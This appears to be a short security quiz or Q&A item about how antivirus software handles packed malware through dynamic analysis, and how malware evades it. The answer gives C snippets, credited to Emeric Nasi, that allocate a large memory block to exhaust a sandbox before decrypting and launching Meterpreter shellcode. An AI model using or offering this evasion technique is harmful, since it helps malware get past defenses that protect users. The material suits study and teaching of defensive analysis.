500
Malware is often obfuscated using a packer. The code doesn't look malicious to the naked eye, but once you execute it, it will unpack/decrypt/decode the real malicious code. What is a modern day technique used by antivirus software to deal with this?
How might malware be able bypass these techniques?
Live sandboxing or Dynamic analysis.
dynamic analysis has a timeout limit and a resource limit for usability purposes.
for example:
Instead of
/* main entry */
int main( void )
{
decryptCodeSection(); // Decrypt the code
startShellCode(); // Call the Meterpreter shellcode in decrypted code
return 0;
}
Do
#define TOO_MUCH_MEM 100000000
int main()
{
char * memdmp = NULL;
memdmp = (char *) malloc(TOO_MUCH_MEM);
if(memdmp!=NULL)
{
memset(memdmp,00, TOO_MUCH_MEM);
free(memdmp);
decryptCodeSection();
startShellCode();
}
return 0;
}
Examples by Emeric Nasi